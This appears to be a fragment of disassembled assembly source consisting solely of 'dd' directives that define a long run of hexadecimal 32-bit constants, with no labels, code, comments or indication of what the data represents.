		dd 0FF29600h, 0D1BED9C4h, 9A360E84h, 39405AE1h,	54BAEA0Ah
		dd 12B0950Ch, 1798C4Bh,	22F0BBF6h, 0F83FEF45h, 0E507C638h
		dd 58DE6C77h, 72B65F40h, 9AE0C7h, 6B096F69h, 0B565D1CAh
		dd 46276207h, 1C50FE88h, 702E184h, 48F533B2h, 6CC880E4h
		dd 42986E09h, 802A6F39h, 2F3AB946h, 0EAA2BF15h,	38778EFh
		dd 51CC0E36h, 319E563Bh, 6C9F048Dh, 0C9100A58h,	59CD1DF3h
		dd 30807CE9h, 9435D35Dh, 934C6A88h, 0E50C03B6h,	0E798CA5Ah
		dd 840E284Ch, 42C12922h, 38BB11A7h, 0D086221h, 84C390D6h
		dd 6483691h, 90DD284Fh,	62E884AFh, 442FDA44h, 0AB48DB2Dh
		dd 255F6E42h, 0D528041Eh, 801748D4h, 0CF1A8909h, 7C009BCDh
		dd 15ECF008h, 0B5DCD8h,	97F5F672h, 0E71DDD10h, 0FA30700Eh
		dd 0DA00B627h, 0FB284707h, 86980024h, 8FB0290Fh, 530043FCh
		dd 9FA668FDh, 32CF74Bh,	3758E0CFh, 80ACAEC9h, 0EBC3A1A2h
		dd 71001EFAh, 871F0B09h, 1ECDA25Ah, 80AFEC79h, 7F4CC8B2h
		dd 0F6EEB0D9h, 0EA2E2900h, 0F13756FDh, 3C5F3D12h, 0BF5A7E80h
		dd 0A832394Ah, 0FA1F2C00h, 0C4432D94h, 4CBD0021h, 87CDFB2Fh
		dd 0E000F015h, 1A112352h, 6938A6h, 3EDA6C9Bh, 4B3583Ah
		dd 205D5403h, 0F71213C8h, 0BBD03827h, 0A5DB52h,	0C37D66B6h
		dd 0D00122B4h, 7A9DA800h, 18ABCF08h, 0AD771D71h, 47BF5D6Ah
		dd 5079B2E9h, 0B54F865Ah, 7B2D5300h, 3F939923h,	0A4D600C9h
		dd 0AC94E7FAh, 0E1700813h, 0F9532100h, 36698BF8h, 722A0CEDh
		dd 0D0985796h, 59D50800h, 0A7BB6AB4h, 8B340006h, 0DFA5DCCFh
		dd 0D4003D97h, 87CC14D3h, 13388593h, 0F8CE6C11h, 0C10B03CAh
		dd 0C962398Bh, 0B9EC0287h, 0CA2A0059h, 0ABBFF7B3h, 7000A6C6h
		dd 41E1425h, 1B5F6C5h, 15A20786h, 210F16B7h, 56C88F4Ah
		dd 0C2332058h, 7131A805h, 149E0003h, 0DF4E67E2h, 8D1D0184h
		dd 8A008EBAh, 0B28015C1h, 50ED3065h, 0CC579040h, 9398B72h
		dd 0ADBC5497h, 0B05A900h, 993D6F14h, 9B3F0F3Eh,	160C485h
		dd 64E9C67Eh, 0F5320200h, 17E2661Eh, 0DC0403B4h, 0EAF1B8D4h
		dd 19E35188h, 10702F30h, 0C5415EBEh, 0EB324BF0h, 0AC057E80h
		dd 67250055h, 0C6B0C9FFh, 0F91F8002h, 0AE80DC3Fh, 0FAAC694Fh
		dd 28F130F6h, 9CABCB11h, 6FF73503h, 16A4D5h, 0F4FFDDD0h
		dd 7181AC39h, 3C5628C1h, 0F3F85362h, 0E4A000Fh,	0FC47E00Bh
		dd 2D0FB740h, 0EEEF157Fh, 0C380FD66h, 0D0B942F0h, 4CA71FF8h
		dd 3968800Bh, 0DFF1AF02h, 0E8E5B401h, 9047955Eh, 39AB6BC0h
		dd 4F80A397h, 365741B3h, 9D00D3FFh, 0A483A676h,	4BAE48Ch
		dd 0DCA99E4Ah, 496CC0ADh, 100F8D96h, 60B3B894h,	7EF3D5Ch
		dd 54590078h, 0F8C93EBh, 0B93E9651h, 8ABD007Ah,	9A1CBB0Dh
		dd 4C71071Dh, 803FD926h, 49ABE706h, 34F42E18h, 589AF0h
		dd 0F216828Dh, 6601FC6h, 80474E38h, 80B0BACFh, 7C962C85h
		dd 2C90064h, 0C8A26AF2h, 0F90B0B7Ah, 80D8F43Eh,	0D76DF6E1h
		dd 0ECE350CAh, 0C35E000Ch, 0EC605FA0h, 8CA04D33h, 0F2000316h
		dd 900730DBh, 15D6D24h,	0A6DD668Dh, 0D0CB28EAh,	3460533Ah
		dd 0A0A7BD20h, 0AC51003Dh, 8F17CFEDh, 0B700F399h, 5D62420Ah
		dd 9854E422h, 13FF6FCh,	39700969h, 308ABC08h, 760085B7h
		dd 7F48C250h, 6814C9h, 0EBFC4F2Ah, 992BBCCDh, 8BF7BE00h
		dd 35833DF5h, 250713A5h, 1F6800A2h, 0DE39A7BAh,	5D0B6C90h
		dd 82C9785Ah, 40D14350h, 30215BA2h, 0EF20E35Ch,	0AF0003C3h
		dd 7B62EA1Fh, 9E6D91h, 0ADBD47FEh, 0FA9F551Ch, 5800DF7Fh
		dd 3F0E0854h, 6CDF41Ah,	0BC472E22h, 1E0048E1h, 0A4F3372h
		dd 0A3C94Eh, 0C17D2A84h, 2449999Ah, 61CEDE1Fh, 592033Fh
		dd 1E04DD3h, 0D2EE2138h, 0D9013851h, 85B5C056h,	761CB6F8h
		dd 12BD064Ah, 0A4003C32h, 0F38D4910h, 25D80290h, 78EBD052h
		dd 0AD288060h, 3F399E01h, 0EAA3B302h, 90D5F1D8h, 3F9472F8h
		dd 0C5007FC4h, 5F3A4B4Ah, 0CEA00613h, 0E33DDD03h, 64CA80F7h
		dd 48381CB9h, 0C8FD3922h, 0CEBA9E01h, 0EB17D36Eh, 0A1F00CC8h
		dd 19E1BF00h, 7EB130CDh, 65F15C9Dh, 0DE8B7900h,	4D3BF7E2h
		dd 18678500h, 4A1E49C1h, 0C4100090h, 0EB2DD1FCh, 7202C7F3h
		dd 0E2963B60h, 6D304038h, 0FA736Eh, 3975EA3Eh, 46893F22h
		dd 0A11C60E5h, 0E008F097h, 7D8EEC48h, 7A3008Dh,	0F53B9ED0h
		dd 8948C21Ch, 382F07D5h, 0C3775098h, 4837E410h,	0E9C000Ch
		dd 92327574h, 50F8864Dh, 773B600h, 0F82EEB88h, 0E1A1004Bh
		dd 0A38B4E09h, 0EE01CD61h, 78588017h, 3BD45935h, 13B13BD4h
		dd 279A9880h, 53D90242h, 75A7D839h, 0AFD20C00h,	2B81B332h
		dd 0B08A0034h, 0A240D724h, 6CB87322h, 6F5181Dh,	0E26F2141h
		dd 2E4464Ch, 692000B4h,	0BB323AB8h, 0E103A8DCh,	5F53CCBh
		dd 0CDD8C063h, 0ECFCEBh, 0C2E91036h, 4B7BDDC3h,	0A6973F00h
		dd 395A68FCh, 2CF801B0h, 627ABA79h, 4CC4026h, 2FEE1920h
		dd 0C3433100h, 289BD7DEh, 266B1CF0h, 9383CC58h,	0B53BF928h
		dd 0EC00FE16h, 7573FE5Bh, 14FBC018h, 0C4357193h, 81E75A00h
		dd 85D217C1h, 302E8C24h, 0AC783000h, 0F5242Fh, 3EEE8DEh
		dd 49255046h, 0EAB8E5FCh, 0C7B80400h, 0A4867AAAh, 0CBA001F8h
		dd 1EE8C86Fh, 0A1D0F065h, 0A9A5011Eh, 7FF1E240h, 5CDD1810h
		dd 0A00E234h, 1A531DE4h, 154C52C5h, 0B5A20090h,	96614519h
		dd 90FC0072h, 36B38767h, 988039F2h, 0FD2B004Eh,	0CDCC43C4h
		dd 0C31C6035h, 1BD3E595h, 0AE5E5401h, 0E483196Dh, 6375DB14h
		dd 9C6082B2h, 863E1E11h, 0FE88004Ch, 0AD78BDC2h, 7CAC0CD9h
		dd 0C5401820h, 0FFD4C300h, 0D1BD9E5Dh, 5A2F00D3h, 3B0672A5h
		dd 0E27E5550h, 251613Ah, 46DA365Eh, 78501Eh, 0D5E97FE7h
		dd 0B8E06676h, 0A28A200h, 0C9A9FF14h, 0D75C001Bh, 7D5613AAh
		dd 6E0099DBh, 0B25BD30Ch, 89BA70h, 0EFF4E58Dh, 0D5483A79h
		dd 46878014h, 0E2F0FC8h, 15FA60E1h, 607CF529h, 7218187Fh
		dd 2F095648h, 0E11336Bh, 9091E00Ch, 2CAF3B4Eh, 190FD82h
		dd 0DC01BC85h, 0C18E61D9h, 70E1D5ECh, 6F13226Ch, 90006E17h
		dd 5D43B808h, 136F428h,	861330B4h, 20C4CB53h, 6D00A128h
		dd 9DE1C92Eh, 0F8E7A942h, 3C470081h, 0EA7934FEh, 0B63A1C0Ch
		dd 8819005Bh, 399F5D0Fh, 861F0081h, 0CBEC477Ch,	893CAAB7h
		dd 0E800FAFDh, 6685005h, 22F7797h, 153C93Ch, 0F8806A07h
		dd 2BC6E1B9h, 0A9B29E00h, 0B6F295Ah, 0A0391F12h, 76AB40C2h
		dd 6D71843Eh, 4A1D58h, 5CE04B2h, 26A968FEh, 1F82BFDh, 9F6A7E69h
		dd 4C44C856h, 1000ED76h, 98A93C29h, 0ECCB8DAh, 2D4D7594h
		dd 90F40A20h, 1C004670h, 0F7C0BB0h, 6C747Ah, 8C88D1D8h
		dd 1EEDA482h, 0A2D5FB1Fh, 0EF17E066h, 54001D12h, 0BE5F2A4Fh
		dd 0FFB00B7h, 58E41AABh, 37E64673h, 261EACA0h, 8B7D4400h
		dd 0AD163C38h, 0AB6E00F3h, 55126551h, 5A7B0AA8h, 1404F03h
		dd 0A816C14Ah, 783861E7h, 1E6400FCh, 9EA3DFC6h,	0BD00730Ah
		dd 96D0E8C0h
		dd 126F0BA9h, 19D2BFh, 13132EFh, 77000F90h, 84854004h
		dd 0EEB539BEh, 1AFB003Ah, 7E2F1F86h, 0D370F3D9h, 0E215A800h
		dd 0FBC73DBEh, 9ACE0020h, 9D2A2CFDh, 1B073E93h,	7FF4EF7Eh
		dd 43D7BE30h, 8F1D0369h, 8E764DBFh, 20809291h, 0ADE4CC18h
		dd 8C6E0224h, 42FCE400h, 0F2A9A34h, 1F7AF415h, 0DB8E334Fh
		dd 367E6Fh, 21451D25h, 1600205Dh, 441E2E63h, 48658B9h
		dd 0B3D5E5F3h, 8E5CC372h, 694A9088h, 0AECE561Fh, 0B8EEDDC0h
		dd 71FE995Eh, 3F9C0992h, 0B8002C40h, 3BB56D72h,	0EF1D851Ch
		dd 87D2FA9Eh, 457C8000h, 0C381A4h, 0F89526C5h, 0C2F6AB31h
		dd 80D8573Eh, 0A6D254B5h, 943CC8h, 65ECA226h, 0B24595E2h
		dd 0C46A9724h, 19003F1Eh, 5A923173h, 0E84703B1h, 4BFFFDCh
		dd 12CEF58Fh, 0EFE30288h, 0CE01344h, 0C00DD4Fh,	5227F38Eh
		dd 0AE4249h, 5EBC680Eh,	959655F6h, 18C4F907h, 83B3CF90h
		dd 0E6380215h, 6831ADBEh, 6E9D6360h, 0B1706B1Dh, 0DACD9AC0h
		dd 0CFDDB5h, 2F7A54D0h,	70C32C75h, 0F1F8BEE2h, 56996A18h
		dd 0EA5F7C48h, 0F46E0025h, 0D0743DC1h, 6D037B89h, 80BBD48Eh
		dd 4D280052h, 2B2E842Fh, 382C1A6Eh, 0B2007C71h,	0CA265BD5h
		dd 0EB9800FDh, 6EF0D186h, 3003C708h, 0AA696519h, 0BBC0A822h
		dd 0F6AE3775h, 0A61A21A0h, 4083DD51h, 0A91FEC0h, 0C81EF900h
		dd 12ACA84Ch, 0F39E203h, 78C52499h, 3D900640h, 0A200D0EFh
		dd 0BA6C57DEh, 0A4421Ch, 7C3A7F5Ch, 2D385F0Ch, 7EF1A903h
		dd 0B0957992h, 8C053Ch,	68F99D50h, 0C26052C9h, 0DD48CF00h
		dd 0FC8AA60Fh, 60C060ACh, 4185A4CBh, 3AD81300h,	0C6D7D6F4h
		dd 0A8100DBh, 69D20E4Bh, 95004935h, 0C9CFA91Bh,	0FC5D2627h
		dd 33EFA9Fh, 22AA893h, 0EBE89680h, 3B034228h, 0D1E72EFAh
		dd 0F080C423h, 2C8AA2F1h, 948F92Ch, 1C419088h, 21108BFAh
		dd 9BF180EEh, 134C968Fh, 0E8D527Ch, 8E4A5A8Ch, 5F190998h
		dd 0BEF84480h, 0F00F033h, 9CD3B9C7h, 1447C0Ah, 1AE7B68h
		dd 60F305DAh, 0E700E2ABh, 7E0A2D6h, 0B1ACE1h, 365FFF2Ah
		dd 44CC8003h, 0E01E4F24h, 80C40909h, 0A77B215h,	6C4900C6h
		dd 0FBAFA0BCh, 6711697h, 0DF9AA04h, 80C0924Ah, 0B0296AC3h
		dd 0E7DCE59Ch, 4D5B00A0h, 613753BEh, 35FA0ED7h,	99298514h
		dd 43DE0096h, 0CE4CBCEh, 50073FCAh, 0D1AFE92h, 414826C8h
		dd 0D057A5C8h, 6D50F7FCh, 3A00128Ch, 0EEB59193h, 70D468h
		dd 0BB07C437h, 2592ACC6h, 9E0AEB0Fh, 0B400F297h, 0B517A6B7h
		dd 2AC003CFh, 1D37F5A3h, 66D13298h, 907A4300h, 5D40D026h
		dd 8336005Bh, 0F4E0AC95h, 0FA00BCABh, 506CFF74h, 0B8FE85A9h
		dd 3E8902EFh, 4E28AE1Eh, 0D5106470h, 0C300A149h, 991351B3h
		dd 8B58410Ah, 0FD17005Ch, 0E55B1592h, 0D1A50377h, 2A0933CAh
		dd 0F33680C5h, 290048A0h, 7BA3D5EFh, 2C8E49A1h,	0A69C0BBBh
		dd 0C4400140h, 207CC1DEh, 83FCC27Eh, 2490F6F4h,	1ECB1D00h
		dd 0B73AE2B1h, 6CC01DD0h, 31A081C6h, 0E0C3A91Ch, 7137D5Ch
		dd 98030AEEh, 8025B3D6h, 3C673E6Bh, 5300C701h, 841843A4h
		dd 5F4DF8A3h, 726413F8h, 8036EC0Fh, 0C663898Ch,	20B86Ah
		dd 96A2271Ch, 3483D42Fh, 0FDE1C816h, 8957F800h,	3C9FA9C5h
		dd 0A603519Ch, 582770Bh, 0A48A15A8h, 0C8F71A00h, 5F7978DFh
		dd 2617724h, 0A7B9FCAEh, 0F489E739h, 6C35EC40h,	694911C0h
		dd 0FB214Eh, 0CC3AB2B9h, 11EB1B8h, 803BD039h, 0A7E22A71h
		dd 0E2C675CBh, 0B94C00E1h, 0C0503C16h, 0CCB8AAF9h, 0AB9B8906h
		dd 0FEE177A0h, 0A0C6E815h, 4C3D9E80h, 0F91CDC2Bh, 0F3E802BCh
		dd 90C8D59Fh, 840763A4h, 858961Ch, 1ECAC9E1h, 0DECB70h
		dd 0E711D72Ah, 5AAAB81Ah, 89812300h, 9B8FD03Bh,	0CDB107EBh
		dd 10E0857Bh, 840634C6h, 0CA236007h, 0C4400BDCh, 803BB8h
		dd 6505A2BDh, 665D7B37h, 2F6A1E14h, 269D0FFAh, 1DCC6255h
		dd 0DDE54042h, 0D4100D8h, 0D379ED3Bh, 0F01EA845h, 28DC8621h
		dd 8D24DB03h, 579088F2h, 8EED00C5h, 82B01E27h, 10149A0h
		dd 0BBE8F7B8h, 5420B36Ah, 9026584Bh, 6C1ABD00h,	82C15A9h
		dd 0AA618500h, 91B76057h, 243FE66h, 0FE168414h,	3CE3EA4Ah
		dd 0C5100CC0h, 0B134D501h, 0D2D0C1BBh, 1C28F8h,	0CEC82E80h
		dd 0BF9120D3h, 30C49350h, 0E2436C09h, 0CAB88098h, 4F22BA46h
		dd 80B01E94h, 31F93D5Ch, 57070F0Dh, 6653AAE8h, 0F4002DA5h
		dd 250823FCh, 45674A62h, 40BF1864h, 7E3972E4h, 0F48D3D5h
		dd 904F0048h, 993B1848h, 23210FC6h, 0F720BCDAh,	89A85E6Fh
		dd 75C44C3Dh, 0AB6C1D0Eh, 0C5F60059h, 0A47129h,	673C9513h
		dd 9D416D16h, 0D8437A00h, 0AC3786Bh, 1DD904A2h,	0C024DD5Fh
		dd 9FB52017h, 0AA442200h, 0E679419Ah, 0C137000Bh, 0F7519557h
		dd 45002D6Ah, 0D0FD5A89h, 0B58DF6h, 5558E5F5h, 19BDC250h
		dd 3652CB00h, 6D5E4721h, 45F2AFh, 0CDBFBB4h, 15B8F84Bh
		dd 853D8004h, 24CC08EEh, 0E29F3EB3h, 0A701C5BFh, 0A087A66Dh
		dd 0B883C08Bh, 0D0FAAF00h, 5202240Bh, 6B4D0075h, 8CE2284Ch
		dd 53023F46h, 0ADC75B80h, 0B59D40BFh, 64D0018h,	0EB8DB811h
		dd 380137E1h, 4E9EEDEh,	0C2FC89FEh, 857E71h, 0ADA451D2h
		dd 58755E5Dh, 33007CE0h, 17DCC8F5h, 51BE23h, 77DE502Eh
		dd 0F028E14Dh, 0A601D907h, 0F430A0C5h, 0FA373D53h, 0FF68Ch
		dd 0C189EAE5h, 42103C4Ah, 0D602EB74h, 3D38C04Ch, 0E17C60FBh
		dd 7E23CB6h, 1FEA9B80h,	0F8D1ADE0h, 50A71000h, 0CC88F217h
		dd 0CEB300FDh, 8F13B036h, 6D00C57Ah, 6E118F0h, 1C17B9Ah
		dd 9689026Fh, 0C09282AAh, 0A725DF90h, 0C2E0A072h, 0AD6A13h
		dd 1D3AD417h, 2206245Ah, 184EF61Ch, 0DAC7ED00h,	0C3C2EAh
		dd 2F640398h, 7C565267h, 0A0948900h, 9D622CBDh,	0EDAB3A8Ch
		dd 0A8FC17h, 8F7B750Fh,	0D07C0B84h, 9B0768B0h, 0FAE4DCD3h
		dd 0DD1435A0h, 62A500C1h, 0EAF9D9AFh, 875B4C03h, 0E9AC7003h
		dd 0E835D18Fh, 2DCE020h, 8676B30Ah, 3460E528h, 39484099h
		dd 5A7C0A4h, 861588h, 6A04FD2Ch, 62CAF855h, 7C4B148h, 0C7B363Fh
		dd 10A1E6h, 12AD19DBh, 0FE3D8413h, 0FA6EBE73h, 8B9500A8h
		dd 7EDC058h, 50CD3599h,	7F7600B9h, 652E3C55h, 0D124FB45h
		dd 74282181h, 531FB30h,	1E7BED0h, 6F1F2E3Eh, 0F8E0B417h
		dd 0BF00F153h, 0FEF6FB94h, 617238h, 0ED014B9Dh,	0BC700FA9h
		dd 2300D8B4h, 0D21813AEh, 5CBCB06Dh, 0D40CAC78h, 9A106E37h
		dd 8BCD2600h, 9151DF1Eh, 253F00D8h, 0EA953D03h,	0B94AF996h
		dd 66714C82h, 0BD220734h, 0E3F43E85h, 6D09ABBh,	0B168CFFh
		dd 9C4BA204h, 92C0808Ah, 1226C242h, 0F78390h, 766006A4h
		dd 1DE6D45Fh, 43390300h, 90485B69h, 256807FAh, 50EF2F32h
		dd 731A2EFDh, 1031F130h, 9C5134h, 7DE7B4ACh, 0B1D62C2Fh
		dd 0D981C51Dh, 0D327DE44h, 7CF228F0h, 0B4B3263Fh, 7FBD8730h
		dd 81C6F50Ch, 61CEB664h, 31A983FCh, 519693h, 0AEF95330h
		dd 1B09FF4Bh, 0E53D9A13h, 0EE8E9442h, 0B084C86Dh, 86F11E04h
		dd 0E86A49FFh, 44A49C80h, 1190F468h, 50B4340Bh,	0AA061EEh
		dd 7FA9C40h, 6F601DCh, 0ADC06902h, 9D27FC31h, 10CBF300h
		dd 45479AE0h, 787E00CDh, 6B57116Fh, 53004421h, 0E4230E6Eh
		dd 7CE0BDh, 5D9B22C5h, 32721A14h, 90CDF41Ch, 0E1071943h
		dd 789FB97Ch, 4C7FF3ECh, 9E00ED18h, 7DF2F57Bh, 2271E30Eh
		dd 8F7C9600h
		dd 0B71F6B99h, 0BCB0AEh, 0D28DCAB2h, 31FB4452h,	6700AA78h
		dd 0D5550377h, 2C8CACE7h, 28F04A66h, 146EE2FEh,	80FCEC57h
		dd 0A081CF2Fh, 22C8745h, 4F8CC01Eh, 0C9B0090Ah,	74073961h
		dd 7C605E38h, 69AA14DDh, 0D91742F2h, 5F0055D7h,	0EF9D7346h
		dd 2EF400CAh, 0B22DFFB4h, 1C00A511h, 8FEA649h, 6692A4h
		dd 4C6281B1h, 0B24717B5h, 3719F500h, 5ADDA357h,	189041h
		dd 88B03F67h, 817DB129h, 8A42A900h, 0FDB9C984h,	5C2D30D1h
		dd 5B980254h, 1DA1EC60h, 601433F4h, 6E3D8849h, 96005332h
		dd 0A137A0B8h, 0F4EE1Ah, 0E61D6DB4h, 36AD1407h,	3EC1FF01h
		dd 296E3CC0h, 1B1DDF0h,	5393CA8Dh, 8EDE827Fh, 0C2DBBB10h
		dd 60AE97F9h, 413E218h,	654CF1E8h, 0B990C152h, 16078B1h
		dd 0E2E6303Dh, 3CFC9A9Dh, 89E50076h, 377FA2A5h,	7B098635h
		dd 83E05A16h, 0B04E5DBAh, 9C0B67h, 0ABD13072h, 426ECCA2h
		dd 0C38D0C00h, 50050658h, 765EC83h, 2DECFB9Ch, 0AAD1098h
		dd 340004F6h, 94BB57B5h, 1819093h, 6B3A0EFBh, 0C8A8CC16h
		dd 0DE020478h, 0D9C849E1h, 59E840FAh, 82A100C9h, 0C73EF944h
		dd 9800BDC6h, 0CD43C4F8h, 9EE9CAh, 6C4297EAh, 58837D49h
		dd 39F2BF00h, 1262825Eh, 9D31010Eh, 100A0B3Fh, 0C2367125h
		dd 22A158C3h, 0D519802Eh, 80C88F02h, 57EF0FCCh,	4DEE6326h
		dd 2C4647C0h, 0FF3D2574h, 8A48812Fh, 0CF426194h, 0BF8B7C0h
		dd 8CA28831h, 51178500h, 831D87E4h, 71413A27h, 4EC1326Dh
		dd 81C3F8F3h, 1364B054h, 43BA3D82h, 0BC4AB318h,	0A193B0D0h
		dd 83E55C00h, 0E430687Bh, 0B5850766h, 60C21A53h, 9BCC5FDBh
		dd 48005B79h, 85F48B13h, 1307632Ch, 851B7h, 490D0A84h
		dd 451396A9h, 24C22722h, 7910E0F6h, 748E30EDh, 77E4D198h
		dd 4366FF00h, 58334505h, 0CB541268h, 0AE700044h, 12B2F636h
		dd 607CB6A1h, 1573B56Ch, 0C23D7200h, 32BEC00Fh,	0D7EC00E9h
		dd 0CA03C7B3h, 95000A29h, 7202904Dh, 34EF334h, 3A89C2A9h
		dd 6987DB0h, 2D008FBAh,	3C9480BDh, 512C1960h, 78AEC821h
		dd 0F012003Ch, 973FAC38h, 0F6659B00h, 9604AF26h, 2B7E000Ah
		dd 1CC528C8h, 0F9004D72h, 6B5E02A6h, 78F382ADh,	193D00A2h
		dd 9C62E953h, 8899AE5Bh, 0A0C9C80Eh, 33990565h,	172A1654h
		dd 7D5B0013h, 2CD3525Eh, 3D585000h, 0E6B6C43Bh,	3EF57EA3h
		dd 4DDAF53h, 0B0CD3A06h, 95002056h, 0D99DB447h,	645405Bh
		dd 0C7E5F93h, 0D50041F1h, 418720B0h, 624233h, 539960B7h
		dd 0A634BBD2h, 852C8838h, 5C3DB4E7h, 245EA4B0h,	13C7A5h
		dd 949C6009h, 4B00196Eh, 223B05D4h, 0E1F0CE5h, 0A1D8DD3Fh
		dd 5BAF8600h, 855838A6h, 65810077h, 0BBF83F1Eh,	6B724Fh
		dd 6EA9557Bh, 3043982Fh, 8E32F000h, 0B55B4C27h,	17578F3h
		dd 0B79F3E52h, 0F4649C56h, 2A005D69h, 7A51BB23h, 0A7806Ah
		dd 10CDC1Bh, 9A47489Ch,	79A6D302h, 0E0974B7Bh, 70EB5A44h
		dd 84C90262h, 2BDF51C1h, 5900A570h, 1BBBF7CEh, 0B2D131Dh
		dd 91B48894h, 78E1210Fh, 3403393Bh, 4D02E4A8h, 5C9DA657h
		dd 82D26011h, 33D002Fh,	0C7F1A0A8h, 247C6D27h, 5F6EFD00h
		dd 0BB7C7267h, 7DD70F57h, 4EE09503h, 0BD8058CDh, 0FC661000h
		dd 0D720E90Fh, 0B9EA00E1h, 0CC51D8C4h, 63003756h, 0F252C233h
		dd 6D2D25h, 17D02F1Ch, 6C9AC148h, 2065E300h, 0D8F04AF8h
		dd 0DEAC0087h, 97F7BD7Fh, 9B0155A0h, 123C955Eh,	7DF53E37h
		dd 56402180h, 0C2678C80h, 760395E2h, 9CA64BB5h,	48D7A073h
		dd 119D0C4Dh, 0EB30E016h, 0B0E35600h, 4F86C98Eh, 3A6D3FD8h
		dd 7ED1C00h, 0D9B5B676h, 1E799D1Eh, 0E61F0BC0h,	71092D5Eh
		dd 0B1222450h, 989C1F50h, 4A6DF85Ch, 0D01E9033h, 4462B837h
		dd 0D76A0166h, 40333294h, 0FE1C7039h, 0C86CA900h, 645D5141h
		dd 774B2852h, 0C4C94AC8h, 41CC078h, 980F7249h, 0A0A5D6E0h
		dd 67C37A0Fh, 107F22Fh,	245DB0E8h, 0F8743C76h, 753A821Eh
		dd 9D5F00A5h, 4DC9ABEBh, 6AE10055h, 3E7D7A36h, 2200C2BDh
		dd 0DF1480D8h, 2476BEh,	0F5892BE5h, 9B18683Fh, 5E0B917Ch
		dd 0A41769h, 0F1A6073Fh, 0CCEB0FDBh, 1F405C66h,	0CB306520h
		dd 39E0A095h, 710E525h,	537ADBA4h, 712C13D9h, 14958FD8h
		dd 3EFBEC00h, 0F57D6041h, 6DAC3C63h, 0C1D6A703h, 42AF7C15h
		dd 81C0B673h, 0F8BD7012h, 6B80002Bh, 0E2436A4h,	600F87Dh
		dd 2BAC947Fh, 0F0D1E069h, 252000A8h, 73BAC7D0h,	1C2667AEh
		dd 3E00346Bh, 0FED36840h, 0FA2201DFh, 5174723Fh, 282871h
		dd 6118B66Ch, 2890492h,	7A322B3Ch, 245CF1BEh, 6D35A380h
		dd 3F308096h, 0A6027BB0h, 65513883h, 46F6E340h,	21A3470Fh
		dd 241CE3F3h, 0E0C9D211h, 3DB85193h, 0B4AEB9DDh, 219600D7h
		dd 7DB3F7EAh, 0B7D71812h, 0C8F8F4h, 6C971EE3h, 0B0D62F48h
		dd 0EB8365Ch, 0E088E4ECh, 7BED83ABh, 18416075h,	0D0C5A5A9h
		dd 361AD500h, 8F141B27h, 2E3C0F16h, 0C6403DFFh,	304106FEh
		dd 74BC30C0h, 911A9Ch, 847509AAh, 8C176C0Bh, 0A65EA313h
		dd 8AEAFC00h, 0E0DB7EC1h, 285403E7h, 5BF44164h,	0F144B2D0h
		dd 9006BD01h, 29BFD587h, 1D5030h, 0AC6D24A0h, 48DBFD58h
		dd 7393D2Ch, 0CA660400h, 4A3CF0h, 0F9925A32h, 736897F1h
		dd 0CF9B3B00h, 6AE7CC94h, 0B4B00Ch, 0E542CE0Eh,	288EE6F9h
		dd 4B43300h, 78508C84h,	0EC1E0043h, 0CC24027Dh,	22011327h
		dd 0BD76239Bh, 0D3CCE256h, 1C5FE2F1h, 0C0121DA9h, 1FED2DC8h
		dd 2C963903h, 0A7E5EF02h, 9BDCC0E2h, 0BFF73F8Fh, 0C1643180h
		dd 0E8740CB7h, 846258h,	0D4555C33h, 427198h, 66C07D70h
		dd 0C1ADF26Eh, 5D1A520Ch, 0FBF848E4h, 39ACE471h, 0AEDE13E4h
		dd 0EB1DA900h, 95FCDFADh, 38A08C0Eh, 60F93AB7h,	774EB900h
		dd 1AAC062Ah, 0B6F33B4Bh, 1EFC206h, 0A55C585Eh,	3DB50F14h
		dd 2A9BC0DBh, 481199h, 2DE4C2CEh, 6D8FADFh, 0B0186B00h
		dd 54AAC4A9h, 87DB0116h, 72B72D93h, 7F6930CCh, 46101B00h
		dd 0BF136227h, 3DF77166h, 2005F29h, 4B3C0ECh, 11016A6Bh
		dd 0E4AD597Fh, 87E8DB3Ah, 0A7A11E49h, 814C40EFh, 0DD1E2236h
		dd 0C0AD9100h, 75536B9Ah, 5CC10040h, 3B6407F5h,	69B8AA2Eh
		dd 0BFE99900h, 80113894h, 0ECD70554h, 86F52190h, 272587Bh
		dd 6001A600h, 43AA31C0h, 6E2B004Fh, 0EFF64287h,	0BF008E53h
		dd 468D702h, 48CA995Bh,	0FB0098A0h, 31EE11E8h, 811C9596h
		dd 90410784h, 38F6A51Bh, 26BFCDCh, 0A0AF6265h, 38C8D916h
		dd 320F6022h, 0E00A19B7h, 0EAF98EBh, 0B3CD0FDDh, 0E3A0D6D5h
		dd 88F17589h, 41542600h, 4094653Dh, 0E8B207D0h,	0E0AF7CC1h
		dd 0FCEFDF01h, 0F00D1601h, 583BF8D6h, 9E2AAC4h,	0B025E9C6h
		dd 0D008CD8h, 404C450Eh, 6614A8h, 4F878424h, 0F944E6DAh
		dd 74C9A007h, 6C30793Eh, 2410908h, 6A2837F8h, 0E8F05B63h
		dd 5395A909h, 2018034h,	7298B80h, 40EABA96h, 11CD00E5h
		dd 3C01C48Ah, 7087FC16h, 0DE204C30h, 90080066h,	0B1D357AAh
		dd 0B54D21h, 3148C144h,	0F4C80075h, 0B8BE3694h,	2C04862Ah
		dd 15A0DCD4h, 9CE38CACh, 0F44626E8h, 0EF915F1Fh, 1807FD16h
		dd 0B95033AFh, 9FC61BFFh, 0A180E009h, 37B098E3h, 56B46E1Fh
		dd 87CCCF03h, 0E840EF13h, 66A308h, 264C8174h, 3044397h
		dd 42968000h, 4F639CB3h, 50409569h, 60073049h, 21E71214h
		dd 0DA358B20h, 7E4908Dh
		dd 0D21E4678h, 10E25CAh, 0F0EBC5DFh, 133FB2h, 0E6F4CB0h
		dd 0A446E621h, 0B45865E0h, 88A040DAh, 0CE00BD30h, 4A7799A2h
		dd 2E90A425h, 254CC29h,	0C3AA3280h, 0D0991261h,	50004D54h
		dd 0B570B46Bh, 1436A93h, 5A81583Fh, 7C9405ABh, 0FC78001Ch
		dd 4793A268h, 2C75F9h, 2FB899F3h, 527E6358h, 0FA60A17Dh
		dd 364B3E6h, 51E2D0h, 0F8C7716Fh, 9F97FF5Eh, 0D14D0DFEh
		dd 5FA60033h, 184BCCF6h, 0C30A0002h, 21015D41h,	0CB0FE104h
		dd 0A0886640h, 4B508D39h, 25430456h, 8845D805h,	3D0F8140h
		dd 2B6F76D7h, 1C78C89Ah, 79120090h, 0E93C29E4h,	0A400BED8h
		dd 726DAA61h, 95751Fh, 0CC6EEE7Bh, 6015ABFFh, 0A0B8EC0Fh
		dd 870EA09Bh, 42AE74h, 0DEA59358h, 0C886A126h, 949BB902h
		dd 4183223Ch, 13A3582h,	0EA65AC94h, 9011E443h, 47FE0E01h
		dd 3ADAE841h, 73DC30h, 0CE584C6Ch, 124EC689h, 4361CB00h
